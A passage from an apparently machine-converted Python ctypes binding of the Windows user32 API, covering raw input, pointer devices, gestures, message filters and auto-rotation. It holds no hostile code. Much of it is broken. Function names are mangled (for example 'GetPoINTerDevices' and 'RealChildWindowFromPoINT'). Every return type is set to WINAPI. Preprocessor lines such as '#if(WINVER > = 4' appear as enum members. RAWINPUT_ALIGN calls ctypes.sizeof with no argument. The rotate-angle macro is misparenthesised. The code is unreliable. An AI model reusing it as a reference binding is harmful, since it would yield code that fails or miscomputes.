WINAPI\n\n\n# WINAPI\n# RealChildWindowFromPoINT(\n# _In_ HWND hwndParent,\n# _In_ POINT ptParentClientCoords);\nRealChildWindowFromPoINT = user32.RealChildWindowFromPoINT\nRealChildWindowFromPoINT.restype = WINAPI\n\n\n# WINAPI\n# RealGetWindowClassA(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchClassNameMax, return) LPSTR ptszClassName,\n# _In_ UINT cchClassNameMax);\nRealGetWindowClassA = user32.RealGetWindowClassA\nRealGetWindowClassA.restype = WINAPI\n\n\n# WINAPI\n# RealGetWindowClassW(\n# _In_ HWND hwnd,\n# _Out_writes_to_(cchClassNameMax, return) LPWSTR ptszClassName,\n# _In_ UINT cchClassNameMax);\nRealGetWindowClassW = user32.RealGetWindowClassW\nRealGetWindowClassW.restype = WINAPI\n\nRealGetWindowClass = RealGetWindowClassW\n# RealGetWindowClass = RealGetWindowClassA\n\nclass tagALTTABINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('cItems', INT),\n ('cColumns', INT),\n ('cRows', INT),\n ('iColFocus', INT),\n ('iRowFocus', INT),\n ('cxItem', INT),\n ('cyItem', INT),\n ('ptStart', POINT),\n ]\n\n\nALTTABINFO = tagALTTABINFO\nPALTTABINFO = POINTER(tagALTTABINFO)\nLPALTTABINFO = POINTER(tagALTTABINFO)\n\n\n\n# WINAPI\n# GetAltTabInfoA(\n# _In_opt_ HWND hwnd,\n# _In_ INT iItem,\n# _Inout_ PALTTABINFO pati,\n# _Out_writes_opt_(cchItemText) LPSTR pszItemText,\n# _In_ UINT cchItemText);\nGetAltTabInfoA = user32.GetAltTabInfoA\nGetAltTabInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetAltTabInfoW(\n# _In_opt_ HWND hwnd,\n# _In_ INT iItem,\n# _Inout_ PALTTABINFO pati,\n# _Out_writes_opt_(cchItemText) LPWSTR pszItemText,\n# _In_ UINT cchItemText);\nGetAltTabInfoW = user32.GetAltTabInfoW\nGetAltTabInfoW.restype = WINAPI\n\nGetAltTabInfo = GetAltTabInfoW\n# GetAltTabInfo = GetAltTabInfoA\n\n# WINAPI\n# GetListBoxInfo(\n# _In_ HWND hwnd);\nGetListBoxInfo = user32.GetListBoxInfo\nGetListBoxInfo.restype = WINAPI\n\n\n# WINAPI\n# LockWorkStation(\n# VOID);\nLockWorkStation = user32.LockWorkStation\nLockWorkStation.restype = WINAPI\n\n\n# WINAPI\n# UserHandleGrantAccess(\n# _In_ HANDLE hUserHandle,\n# _In_ HANDLE hJob,\n# _In_ BOOL bGrant);\nUserHandleGrantAccess = user32.UserHandleGrantAccess\nUserHandleGrantAccess.restype = WINAPI\n\n\n\ndef GET_RAWINPUT_CODE_WPARAM(wParam):\n return wParam & 0xff\nRIM_INPUT = 0x00000000\nRIM_INPUTSINK = 0x00000001\n\nclass tagRAWINPUTHEADER(ctypes.Structure):\n _fields_ = [\n ('dwType', DWORD),\n ('dwSize', DWORD),\n ('hDevice', HANDLE),\n ('wParam', WPARAM),\n ]\n\n\nRAWINPUTHEADER = tagRAWINPUTHEADER\nPRAWINPUTHEADER = POINTER(tagRAWINPUTHEADER)\nLPRAWINPUTHEADER = POINTER(tagRAWINPUTHEADER)\n\n\nRIM_TYPEMOUSE = 0x00000000\nRIM_TYPEKEYBOARD = 0x00000001\nRIM_TYPEHID = 0x00000002\nRIM_TYPEMAX = 0x00000002\n\nclass tagRAWMOUSE(ctypes.Structure):\n _fields_ = [\n ('usFlags', USHORT),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ('ulRawButtons', ULONG),\n ('lLastX', LONG),\n ('lLastY', LONG),\n ('ulExtraInformation', ULONG),\n ]\n\n\nRAWMOUSE = tagRAWMOUSE\nPRAWMOUSE = POINTER(tagRAWMOUSE)\nLPRAWMOUSE = POINTER(tagRAWMOUSE)\n\n\nRI_MOUSE_LEFT_BUTTON_DOWN = 0x00000001\nRI_MOUSE_LEFT_BUTTON_UP = 0x00000002\nRI_MOUSE_RIGHT_BUTTON_DOWN = 0x00000004\nRI_MOUSE_RIGHT_BUTTON_UP = 0x00000008\nRI_MOUSE_MIDDLE_BUTTON_DOWN = 0x00000010\nRI_MOUSE_MIDDLE_BUTTON_UP = 0x00000020\nRI_MOUSE_BUTTON_1_DOWN = RI_MOUSE_LEFT_BUTTON_DOWN\nRI_MOUSE_BUTTON_1_UP = RI_MOUSE_LEFT_BUTTON_UP\nRI_MOUSE_BUTTON_2_DOWN = RI_MOUSE_RIGHT_BUTTON_DOWN\nRI_MOUSE_BUTTON_2_UP = RI_MOUSE_RIGHT_BUTTON_UP\nRI_MOUSE_BUTTON_3_DOWN = RI_MOUSE_MIDDLE_BUTTON_DOWN\nRI_MOUSE_BUTTON_3_UP = RI_MOUSE_MIDDLE_BUTTON_UP\nRI_MOUSE_BUTTON_4_DOWN = 0x00000040\nRI_MOUSE_BUTTON_4_UP = 0x00000080\nRI_MOUSE_BUTTON_5_DOWN = 0x00000100\nRI_MOUSE_BUTTON_5_UP = 0x00000200\nRI_MOUSE_WHEEL = 0x00000400\nRI_MOUSE_HWHEEL = 0x00000800\nMOUSE_MOVE_RELATIVE = 0x00000000\nMOUSE_MOVE_ABSOLUTE = 0x00000001\nMOUSE_VIRTUAL_DESKTOP = 0x00000002\nMOUSE_ATTRIBUTES_CHANGED = 0x00000004\nMOUSE_MOVE_NOCOALESCE = 0x00000008\n\nclass tagRAWKEYBOARD(ctypes.Structure):\n _fields_ = [\n ('MakeCode', USHORT),\n ('Flags', USHORT),\n ('Reserved', USHORT),\n ('VKey', USHORT),\n ('Message', UINT),\n ('ExtraInformation', ULONG),\n ]\n\n\nRAWKEYBOARD = tagRAWKEYBOARD\nPRAWKEYBOARD = POINTER(tagRAWKEYBOARD)\nLPRAWKEYBOARD = POINTER(tagRAWKEYBOARD)\n\n\nKEYBOARD_OVERRUN_MAKE_CODE = 0x000000FF\nRI_KEY_MAKE = 0x00000000\nRI_KEY_BREAK = 0x00000001\nRI_KEY_E0 = 0x00000002\nRI_KEY_E1 = 0x00000004\nRI_KEY_TERMSRV_SET_LED = 0x00000008\nRI_KEY_TERMSRV_SHADOW = 0x00000010\n\nclass tagRAWHID(ctypes.Structure):\n _fields_ = [\n ('dwSizeHid', DWORD),\n ('dwCount', DWORD),\n ('bRawData', BYTE * 1),\n ]\n\n\nRAWHID = tagRAWHID\nPRAWHID = POINTER(tagRAWHID)\nLPRAWHID = POINTER(tagRAWHID)\n\n\n\nclass tagRAWINPUT(ctypes.Structure):\n\n class data(ctypes.Union):\n _fields_ = [\n ('mouse', RAWMOUSE),\n ('keyboard', RAWKEYBOARD),\n ('hid', RAWHID),\n ]\n\n _fields_ = [\n ('header', RAWINPUTHEADER),\n ('data', data),\n ]\n\n\nRAWINPUT = tagRAWINPUT\nPRAWINPUT = POINTER(tagRAWINPUT)\nLPRAWINPUT = POINTER(tagRAWINPUT)\n\n\n\n\ndef RAWINPUT_ALIGN(x):\n return (x + ctypes.sizeof - 1) & ~(ctypes.sizeof - 1)\n\n\n\ndef NEXTRAWINPUTBLOCK(ptr):\n return RAWINPUT_ALIGN(ptr + ptr.header.dwSize)\n\n\nRID_INPUT = 0x10000003\nRID_HEADER = 0x10000005\n\n# WINAPI\n# GetRawInputData(\n# _In_ HRAWINPUT hRawInput,\n# _In_ UINT uiCommand,\n# _Out_writes_bytes_to_opt_(*pcbSize, return) LPVOID pData,\n# _Inout_ PUINT pcbSize,\n# _In_ UINT cbSizeHeader);\nGetRawInputData = user32.GetRawInputData\nGetRawInputData.restype = WINAPI\n\nRIDI_PREPARSEDDATA = 0x20000005\nRIDI_DEVICENAME = 0x20000007\nRIDI_DEVICEINFO = 0x2000000B\n\nclass tagRID_DEVICE_INFO_MOUSE(ctypes.Structure):\n _fields_ = [\n ('dwId', DWORD),\n ('dwNumberOfButtons', DWORD),\n ('dwSampleRate', DWORD),\n ('fHasHorizontalWheel', BOOL),\n ]\n\n\nRID_DEVICE_INFO_MOUSE = tagRID_DEVICE_INFO_MOUSE\nPRID_DEVICE_INFO_MOUSE = POINTER(tagRID_DEVICE_INFO_MOUSE)\n\n\n\nclass tagRID_DEVICE_INFO_KEYBOARD(ctypes.Structure):\n _fields_ = [\n ('dwType', DWORD),\n ('dwSubType', DWORD),\n ('dwKeyboardMode', DWORD),\n ('dwNumberOfFunctionKeys', DWORD),\n ('dwNumberOfIndicators', DWORD),\n ('dwNumberOfKeysTotal', DWORD),\n ]\n\n\nRID_DEVICE_INFO_KEYBOARD = tagRID_DEVICE_INFO_KEYBOARD\nPRID_DEVICE_INFO_KEYBOARD = POINTER(tagRID_DEVICE_INFO_KEYBOARD)\n\n\n\nclass tagRID_DEVICE_INFO_HID(ctypes.Structure):\n _fields_ = [\n ('dwVendorId', DWORD),\n ('dwProductId', DWORD),\n ('dwVersionNumber', DWORD),\n ('usUsagePage', USHORT),\n ('usUsage', USHORT),\n ]\n\n\nRID_DEVICE_INFO_HID = tagRID_DEVICE_INFO_HID\nPRID_DEVICE_INFO_HID = POINTER(tagRID_DEVICE_INFO_HID)\n\n\n\nclass tagRID_DEVICE_INFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwType', DWORD),\n ('DUMMYUNIONNAME', DUMMYUNIONNAME),\n ]\n\n\nRID_DEVICE_INFO = tagRID_DEVICE_INFO\nPRID_DEVICE_INFO = POINTER(tagRID_DEVICE_INFO)\nLPRID_DEVICE_INFO = POINTER(tagRID_DEVICE_INFO)\n\n\n\n# WINAPI\n# GetRawInputDeviceInfoA(\n# _In_opt_ HANDLE hDevice,\n# _In_ UINT uiCommand,\n# _Inout_updates_bytes_to_opt_(*pcbSize, *pcbSize) LPVOID pData,\n# _Inout_ PUINT pcbSize);\nGetRawInputDeviceInfoA = user32.GetRawInputDeviceInfoA\nGetRawInputDeviceInfoA.restype = WINAPI\n\n\n# WINAPI\n# GetRawInputDeviceInfoW(\n# _In_opt_ HANDLE hDevice,\n# _In_ UINT uiCommand,\n# _Inout_updates_bytes_to_opt_(*pcbSize, *pcbSize) LPVOID pData,\n# _Inout_ PUINT pcbSize);\nGetRawInputDeviceInfoW = user32.GetRawInputDeviceInfoW\nGetRawInputDeviceInfoW.restype = WINAPI\n\nGetRawInputDeviceInfo = GetRawInputDeviceInfoW\n# GetRawInputDeviceInfo = GetRawInputDeviceInfoA\n\n# WINAPI\n# GetRawInputBuffer(\n# _Out_writes_bytes_opt_(*pcbSize) PRAWINPUT pData,\n# _Inout_ PUINT pcbSize,\n# _In_ UINT cbSizeHeader);\nGetRawInputBuffer = user32.GetRawInputBuffer\nGetRawInputBuffer.restype = WINAPI\n\n\nclass tagRAWINPUTDEVICE(ctypes.Structure):\n _fields_ = [\n ('usUsagePage', USHORT),\n ('usUsage', USHORT),\n ('dwFlags', DWORD),\n ('hwndTarget', HWND),\n ]\n\n\nRAWINPUTDEVICE = tagRAWINPUTDEVICE\nPRAWINPUTDEVICE = POINTER(tagRAWINPUTDEVICE)\nLPRAWINPUTDEVICE = POINTER(tagRAWINPUTDEVICE)\n\n\nPCRAWINPUTDEVICE = CONST\nRIDEV_REMOVE = 0x00000001\nRIDEV_EXCLUDE = 0x00000010\nRIDEV_PAGEONLY = 0x00000020\nRIDEV_NOLEGACY = 0x00000030\nRIDEV_INPUTSINK = 0x00000100\nRIDEV_CAPTUREMOUSE = 0x00000200\nRIDEV_NOHOTKEYS = 0x00000200\nRIDEV_APPKEYS = 0x00000400\nRIDEV_EXINPUTSINK = 0x00001000\nRIDEV_DEVNOTIFY = 0x00002000\nRIDEV_EXMODEMASK = 0x000000F0\n\n\ndef RIDEV_EXMODE(mode):\n return mode & RIDEV_EXMODEMASK\n\n\nGIDC_ARRIVAL = 0x00000001\nGIDC_REMOVAL = 0x00000002\n\n\ndef GET_DEVICE_CHANGE_WPARAM(wParam):\n return LOWORD(wParam)\n\n\ndef GET_DEVICE_CHANGE_LPARAM(lParam):\n return LOWORD(lParam)\n\n# WINAPI\n# RegisterRawInputDevices(\n# _In_reads_(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices,\n# _In_ UINT uiNumDevices,\n# _In_ UINT cbSize);\nRegisterRawInputDevices = user32.RegisterRawInputDevices\nRegisterRawInputDevices.restype = WINAPI\n\n\n# WINAPI\n# GetRegisteredRawInputDevices(\n# _Out_writes_opt_( *puiNumDevices) PRAWINPUTDEVICE pRawInputDevices,\n# _Inout_ PUINT puiNumDevices,\n# _In_ UINT cbSize);\nGetRegisteredRawInputDevices = user32.GetRegisteredRawInputDevices\nGetRegisteredRawInputDevices.restype = WINAPI\n\n\nclass tagRAWINPUTDEVICELIST(ctypes.Structure):\n _fields_ = [\n ('hDevice', HANDLE),\n ('dwType', DWORD),\n ]\n\n\nRAWINPUTDEVICELIST = tagRAWINPUTDEVICELIST\nPRAWINPUTDEVICELIST = POINTER(tagRAWINPUTDEVICELIST)\n\n\n\n# WINAPI\n# GetRawInputDeviceList(\n# _Out_writes_opt_(*puiNumDevices) PRAWINPUTDEVICELIST pRawInputDeviceList,\n# _Inout_ PUINT puiNumDevices,\n# _In_ UINT cbSize);\nGetRawInputDeviceList = user32.GetRawInputDeviceList\nGetRawInputDeviceList.restype = WINAPI\n\n\n# WINAPI\n# DefRawInputProc(\n# _In_reads_(nInput) PRAWINPUT* paRawInput,\n# _In_ INT nInput,\n# _In_ UINT cbSizeHeader);\nDefRawInputProc = user32.DefRawInputProc\nDefRawInputProc.restype = WINAPI\n\nPOINTER_DEVICE_PRODUCT_STRING_MAX = 0x00000208\nPDC_ARRIVAL = 0x00000001\nPDC_REMOVAL = 0x00000002\nPDC_ORIENTATION_0 = 0x00000004\nPDC_ORIENTATION_90 = 0x00000008\nPDC_ORIENTATION_180 = 0x00000010\nPDC_ORIENTATION_270 = 0x00000020\nPDC_MODE_DEFAULT = 0x00000040\nPDC_MODE_CENTERED = 0x00000080\nPDC_MAPPING_CHANGE = 0x00000100\nPDC_RESOLUTION = 0x00000200\nPDC_ORIGIN = 0x00000400\nPDC_MODE_ASPECTRATIOPRESERVED = 0x00000800\nclass tagPOINTER_DEVICE_TYPE(ENUM):\n POINTER_DEVICE_TYPE_INTEGRATED_PEN = 0x00000001\n POINTER_DEVICE_TYPE_EXTERNAL_PEN = 0x00000002\n POINTER_DEVICE_TYPE_TOUCH = 0x00000003\n #if(WINVER > = 4\n POINTER_DEVICE_TYPE_TOUCH_PAD = 0x00000004\n #endif = 5\n POINTER_DEVICE_TYPE_MAX = 0xFFFFFFFF\n\n\nPOINTER_DEVICE_TYPE = tagPOINTER_DEVICE_TYPE\n\n\n\nclass tagPOINTER_DEVICE_INFO(ctypes.Structure):\n _fields_ = [\n ('displayOrientation', DWORD),\n ('device', HANDLE),\n ('poINTerDeviceType', POINTER_DEVICE_TYPE),\n ('monitor', HMONITOR),\n ('startingCursorId', ULONG),\n ('maxActiveContacts', USHORT),\n ('productString', WCHAR * POINTER_DEVICE_PRODUCT_STRING_MAX),\n ]\n\n\nPOINTER_DEVICE_INFO = tagPOINTER_DEVICE_INFO\n\n\n\nclass tagPOINTER_DEVICE_PROPERTY(ctypes.Structure):\n _fields_ = [\n ('logicalMin', INT32),\n ('logicalMax', INT32),\n ('physicalMin', INT32),\n ('physicalMax', INT32),\n ('unit', UINT32),\n ('unitExponent', UINT32),\n ('usagePageId', USHORT),\n ('usageId', USHORT),\n ]\n\n\nPOINTER_DEVICE_PROPERTY = tagPOINTER_DEVICE_PROPERTY\n\n\nclass tagPOINTER_DEVICE_CURSOR_TYPE(ENUM):\n POINTER_DEVICE_CURSOR_TYPE_UNKNOWN = 0x00000000\n POINTER_DEVICE_CURSOR_TYPE_TIP = 0x00000001\n POINTER_DEVICE_CURSOR_TYPE_ERASER = 0x00000002\n POINTER_DEVICE_CURSOR_TYPE_MAX = 0xFFFFFFFF\n\n\nPOINTER_DEVICE_CURSOR_TYPE = tagPOINTER_DEVICE_CURSOR_TYPE\n\n\n\nclass tagPOINTER_DEVICE_CURSOR_INFO(ctypes.Structure):\n _fields_ = [\n ('cursorId', UINT32),\n ('cursor', POINTER_DEVICE_CURSOR_TYPE),\n ]\n\n\nPOINTER_DEVICE_CURSOR_INFO = tagPOINTER_DEVICE_CURSOR_INFO\n\n\n\n# WINAPI\n# GetPoINTerDevices(\n# _Inout_ UINT32* deviceCount,\n# _Out_writes_opt_(*deviceCount) POINTER_DEVICE_INFO *poINTerDevices);\nGetPoINTerDevices = user32.GetPoINTerDevices\nGetPoINTerDevices.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDevice(\n# _In_ HANDLE device,\n# _Out_writes_(1) POINTER_DEVICE_INFO *poINTerDevice);\nGetPoINTerDevice = user32.GetPoINTerDevice\nGetPoINTerDevice.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceProperties(\n# _In_ HANDLE device,\n# _Inout_ UINT32* propertyCount,\n# _Out_writes_opt_(*propertyCount) POINTER_DEVICE_PROPERTY *poINTerProperties);\nGetPoINTerDeviceProperties = user32.GetPoINTerDeviceProperties\nGetPoINTerDeviceProperties.restype = WINAPI\n\n\n# WINAPI\n# RegisterPoINTerDeviceNotifications(\n# _In_ HWND window,\n# _In_ BOOL notifyRange);\nRegisterPoINTerDeviceNotifications = user32.RegisterPoINTerDeviceNotifications\nRegisterPoINTerDeviceNotifications.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceRects(\n# _In_ HANDLE device,\n# _Out_writes_(1) RECT* poINTerDeviceRect,\n# _Out_writes_(1) RECT* displayRect);\nGetPoINTerDeviceRects = user32.GetPoINTerDeviceRects\nGetPoINTerDeviceRects.restype = WINAPI\n\n\n# WINAPI\n# GetPoINTerDeviceCursors(\n# _In_ HANDLE device,\n# _Inout_ UINT32* cursorCount,\n# _Out_writes_opt_(*cursorCount) POINTER_DEVICE_CURSOR_INFO *deviceCursors);\nGetPoINTerDeviceCursors = user32.GetPoINTerDeviceCursors\nGetPoINTerDeviceCursors.restype = WINAPI\n\n\n# WINAPI\n# GetRawPoINTerDeviceData(\n# _In_ UINT32 poINTerId,\n# _In_ UINT32 historyCount,\n# _In_ UINT32 propertiesCount,\n# _In_reads_(propertiesCount) POINTER_DEVICE_PROPERTY* pProperties,\n# _Out_writes_(historyCount * propertiesCount) LONG* pValues);\nGetRawPoINTerDeviceData = user32.GetRawPoINTerDeviceData\nGetRawPoINTerDeviceData.restype = WINAPI\n\nMSGFLT_ADD = 0x00000001\nMSGFLT_REMOVE = 0x00000002\n\n# WINAPI\n# ChangeWindowMessageFilter(\n# _In_ UINT message,\n# _In_ DWORD dwFlag);\nChangeWindowMessageFilter = user32.ChangeWindowMessageFilter\nChangeWindowMessageFilter.restype = WINAPI\n\nMSGFLTINFO_NONE = 0x00000000\nMSGFLTINFO_ALREADYALLOWED_FORWND = 0x00000001\nMSGFLTINFO_ALREADYDISALLOWED_FORWND = 0x00000002\nMSGFLTINFO_ALLOWED_HIGHER = 0x00000003\n\nclass tagCHANGEFILTERSTRUCT(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('ExtStatus', DWORD),\n ]\n\n\nCHANGEFILTERSTRUCT = tagCHANGEFILTERSTRUCT\nPCHANGEFILTERSTRUCT = POINTER(tagCHANGEFILTERSTRUCT)\n\n\nMSGFLT_RESET = 0x00000000\nMSGFLT_ALLOW = 0x00000001\nMSGFLT_DISALLOW = 0x00000002\n\n# WINAPI\n# ChangeWindowMessageFilterEx(\n# _In_ HWND hwnd,\n# _In_ UINT message,\n# _In_ DWORD action,\n# _Inout_opt_ PCHANGEFILTERSTRUCT pChangeFilterStruct);\nChangeWindowMessageFilterEx = user32.ChangeWindowMessageFilterEx\nChangeWindowMessageFilterEx.restype = WINAPI\n\nGF_BEGIN = 0x00000001\nGF_INERTIA = 0x00000002\nGF_END = 0x00000004\nGID_BEGIN = 0x00000001\nGID_END = 0x00000002\nGID_ZOOM = 0x00000003\nGID_PAN = 0x00000004\nGID_ROTATE = 0x00000005\nGID_TWOFINGERTAP = 0x00000006\nGID_PRESSANDTAP = 0x00000007\nGID_ROLLOVER = GID_PRESSANDTAP\n\nclass tagGESTUREINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('dwID', DWORD),\n ('hwndTarget', HWND),\n ('ptsLocation', POINTS),\n ('dwInstanceID', DWORD),\n ('dwSequenceID', DWORD),\n ('ullArguments', ULONGLONG),\n ('cbExtraArgs', UINT),\n ]\n\n\nGESTUREINFO = tagGESTUREINFO\nPGESTUREINFO = POINTER(tagGESTUREINFO)\n\n\nPCGESTUREINFO = GESTUREINFO\n\nclass tagGESTURENOTIFYSTRUCT(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('hwndTarget', HWND),\n ('ptsLocation', POINTS),\n ('dwInstanceID', DWORD),\n ]\n\n\nGESTURENOTIFYSTRUCT = tagGESTURENOTIFYSTRUCT\nPGESTURENOTIFYSTRUCT = POINTER(tagGESTURENOTIFYSTRUCT)\n\n\ndef GID_ROTATE_ANGLE_TO_ARGUMENT(_arg_):\n return ((_arg_ + 2.0 * 3.14159265) / 4.0 * 3.14159265) * 65535.0\n\n\ndef GID_ROTATE_ANGLE_FROM_ARGUMENT(_arg_):\n return ((_arg_ / 65535.0) * 4.0 * 3.14159265) - 2.0 * 3.14159265\n\n# WINAPI\n# GetGestureInfo(\n# _In_ HGESTUREINFO hGestureInfo,\n# _Out_ PGESTUREINFO pGestureInfo);\nGetGestureInfo = user32.GetGestureInfo\nGetGestureInfo.restype = WINAPI\n\n\n# WINAPI\n# GetGestureExtraArgs(\n# _In_ HGESTUREINFO hGestureInfo,\n# _In_ UINT cbExtraArgs,\n# _Out_writes_bytes_(cbExtraArgs) PBYTE pExtraArgs);\nGetGestureExtraArgs = user32.GetGestureExtraArgs\nGetGestureExtraArgs.restype = WINAPI\n\n\n# WINAPI\n# CloseGestureInfoHandle(\n# _In_ HGESTUREINFO hGestureInfo);\nCloseGestureInfoHandle = user32.CloseGestureInfoHandle\nCloseGestureInfoHandle.restype = WINAPI\n\n\nclass tagGESTURECONFIG(ctypes.Structure):\n _fields_ = [\n ('dwID', DWORD),\n ('dwWant', DWORD),\n ('dwBlock', DWORD),\n ]\n\n\nGESTURECONFIG = tagGESTURECONFIG\nPGESTURECONFIG = POINTER(tagGESTURECONFIG)\n\n\nGC_ALLGESTURES = 0x00000001\nGC_ZOOM = 0x00000001\nGC_PAN = 0x00000001\nGC_PAN_WITH_SINGLE_FINGER_VERTICALLY = 0x00000002\nGC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY = 0x00000004\nGC_PAN_WITH_GUTTER = 0x00000008\nGC_PAN_WITH_INERTIA = 0x00000010\nGC_ROTATE = 0x00000001\nGC_TWOFINGERTAP = 0x00000001\nGC_PRESSANDTAP = 0x00000001\nGC_ROLLOVER = GC_PRESSANDTAP\nGESTURECONFIGMAXCOUNT = 0x00000100\n\n# WINAPI\n# SetGestureConfig(\n# _In_ HWND hwnd,\n# _In_ DWORD dwReserved,\n# _In_ UINT cIDs,\n# _In_reads_(cIDs) PGESTURECONFIG pGestureConfig,\n#\n# _In_ UINT cbSize);\nSetGestureConfig = user32.SetGestureConfig\nSetGestureConfig.restype = WINAPI\n\nGCF_INCLUDE_ANCESTORS = 0x00000001\n\n# WINAPI\n# GetGestureConfig(\n# _In_ HWND hwnd,\n# _In_ DWORD dwReserved,\n# _In_ DWORD dwFlags,\n# _In_ PUINT pcIDs,\n#\n# _Inout_updates_(*pcIDs) PGESTURECONFIG pGestureConfig,\n#\n# _In_ UINT cbSize);\nGetGestureConfig = user32.GetGestureConfig\nGetGestureConfig.restype = WINAPI\n\nNID_INTEGRATED_TOUCH = 0x00000001\nNID_EXTERNAL_TOUCH = 0x00000002\nNID_INTEGRATED_PEN = 0x00000004\nNID_EXTERNAL_PEN = 0x00000008\nNID_MULTI_INPUT = 0x00000040\nNID_READY = 0x00000080\nMAX_STR_BLOCKREASON = 0x00000100\n\n# WINAPI\n# ShutdownBlockReasonCreate(\n# _In_ HWND hWnd,\n# _In_ LPCWSTR pwszReason);\nShutdownBlockReasonCreate = user32.ShutdownBlockReasonCreate\nShutdownBlockReasonCreate.restype = WINAPI\n\n\n# WINAPI\n# ShutdownBlockReasonQuery(\n# _In_ HWND hWnd,\n# _Out_writes_opt_(*pcchBuff) LPWSTR pwszBuff,\n# _Inout_ DWORD *pcchBuff);\nShutdownBlockReasonQuery = user32.ShutdownBlockReasonQuery\nShutdownBlockReasonQuery.restype = WINAPI\n\n\n# WINAPI\n# ShutdownBlockReasonDestroy(\n# _In_ HWND hWnd);\nShutdownBlockReasonDestroy = user32.ShutdownBlockReasonDestroy\nShutdownBlockReasonDestroy.restype = WINAPI\n\nclass tagINPUT_MESSAGE_DEVICE_TYPE(ENUM):\n IMDT_UNAVAILABLE = 0x00000000\n IMDT_KEYBOARD = 0x00000001\n IMDT_MOUSE = 0x00000002\n IMDT_TOUCH = 0x00000004\n IMDT_PEN = 0x00000008\n #if(WINVER > = 9\n IMDT_TOUCHPAD = 0x00000010\n #endif = 17\n\n\nINPUT_MESSAGE_DEVICE_TYPE = tagINPUT_MESSAGE_DEVICE_TYPE\n\n\nclass tagINPUT_MESSAGE_ORIGIN_ID(ENUM):\n IMO_UNAVAILABLE = 0x00000000\n IMO_HARDWARE = 0x00000001\n IMO_INJECTED = 0x00000002\n IMO_SYSTEM = 0x00000004\n\n\nINPUT_MESSAGE_ORIGIN_ID = tagINPUT_MESSAGE_ORIGIN_ID\n\n\n\n# WINAPI\n# GetCurrentInputMessageSource(\n# _Out_ INPUT_MESSAGE_SOURCE *inputMessageSource);\nGetCurrentInputMessageSource = user32.GetCurrentInputMessageSource\nGetCurrentInputMessageSource.restype = WINAPI\n\n\n# WINAPI\n# GetCIMSSM(\n# _Out_ INPUT_MESSAGE_SOURCE *inputMessageSource);\nGetCIMSSM = user32.GetCIMSSM\nGetCIMSSM.restype = WINAPI\n\nclass tagAR_STATE(ENUM):\n AR_ENABLED = 0x0\n AR_DISABLED = 0x1\n AR_SUPPRESSED = 0x2\n AR_REMOTESESSION = 0x4\n AR_MULTIMON = 0x8\n AR_NOSENSOR = 0x10\n AR_NOT_SUPPORTED = 0x20\n AR_DOCKED = 0x40\n AR_LAPTOP = 0x80\n\n\nAR_STATE = tagAR_STATE\nPAR_STATE = POINTER(tagAR_STATE)\n\n\nclass ORIENTATION_PREFERENCE(ENUM):\n ORIENTATION_PREFERENCE_NONE = 0x0\n ORIENTATION_PREFERENCE_LANDSCAPE = 0x1\n ORIENTATION_PREFERENCE_PORTRAIT = 0x2\n ORIENTATION_PREFERENCE_LANDSCAPE_FLIPPED = 0x4\n ORIENTATION_PREFERENCE_PORTRAIT_FLIPPED = 0x8\n\n\n\n\n# WINAPI\n# GetAutoRotationState(\n# _Out_ PAR_STATE pState);\nGetAutoRotationState = user32.GetAutoRotationState\nGetAutoRotationState.restype = WINAPI\n\n\n# WINAPI\n# GetDisplayAutoRotationPreferences(\n# _Out_ ORIENTATION_PREFERENCE *pOrientation);\nGetDisplayAutoRotationPreferences = user32.GetDisplayAutoRotationPreferences\nGetDisplayAutoRotationPreferences.restype = WINAPI\n\n\n# WINAPI\n# GetDisplayAutoRotationPreferencesByProcessId(\n# _In_ DWORD dwProcessId,\n# _Out_ ORIENTATION_PREFERENCE *pOrientation,\n# _Out_ BOOL *fRotateScreen);\nGetDisplayAutoRotationPreferencesByProcessId = (\n user32.GetDisplayAutoRotationPreferencesByProcessId\n)\nGetDisplayAutoRotationPreferencesByProcessId.restype = WINAPI\n\n\n# WINAPI\n# SetDisplayAutoRotationPreferences(\n# _In_ ORIENTATION_PREFERENCE orientation);\nSetDisplayAutoRotationPreferences = user32.SetDisplayAutoRotationPreferences\nSetDisplayAutoRotationPreferences.restype = WINAPI\n\n\n# WINAPI\n# IsImmersiveProcess(\n# _In_ HANDLE hProcess);\nIsImmersiveProcess = user32.IsImmersiveProcess\nIsImmersiveProcess.restype = WINAPI\n\n\n# WINAPI\n# SetProcessRestrictionExemption(\n# _In_ BOOL fEnableExemption);\nSetProcessRestrictionExemption = user32.SetProcessRestrictionExemption\nSetProcessRestrictionExemption.restype = WINAPI\n\n\n__all__ = (\n 'SLE_ERROR', 'VK_OEM_ATTN', 'SPI_SCREENSAVERRUNNING', 'WM_MOUSELEAVE',\n 'MF_BYCOMMAND', 'QS_PAINT', 'LB_SELECTSTRING', 'WM_NOTIFYFORMAT', 'MB_OK',\n 'SPI_GETBLOCKSENDINPUTRESETS', 'INPUTLANGCHANGE_SYSCHARSET', 'VK_TAB',\n 'PostAppMessage', 'EnumDesktops', 'IS_POINTER_INCONTACT_WPARAM', 'GC_PAN',\n 'RDW_NOINTERNALPAINT', 'SOUND_SYSTEM_INFORMATION', 'VK_NAVIGATION_VIEW',\n 'SS_WHITERECT', 'MOUSEWHEEL_ROUTING_FOCUS', 'SM_SHUTTINGDOWN', 'IDABORT',\n 'SPI_SETGESTUREVISUALIZATION', 'SB_PAGEUP', 'WM_GETICON', 'LBS_COMBOBOX',\n 'WTS_SESSION_REMOTE_CONTROL', 'EVENT_SYSTEM_DIALOGEND', 'SPI_GETWORKAREA',\n 'STATE_SYSTEM_PRESSED', 'VK_ICO_00', 'MAPVK_VSC_TO_VK', 'CB_GETCOUNT',\n 'GCLP_HICON', 'DLGC_WANTMESSAGE', 'PM_QS_INPUT', 'WPF_RESTORETOMAXIMIZED',\n 'SPI_ICONVERTICALSPACING', 'WH_SHELL', 'PostAppMessageW', 'CB_GETEDITSEL',\n 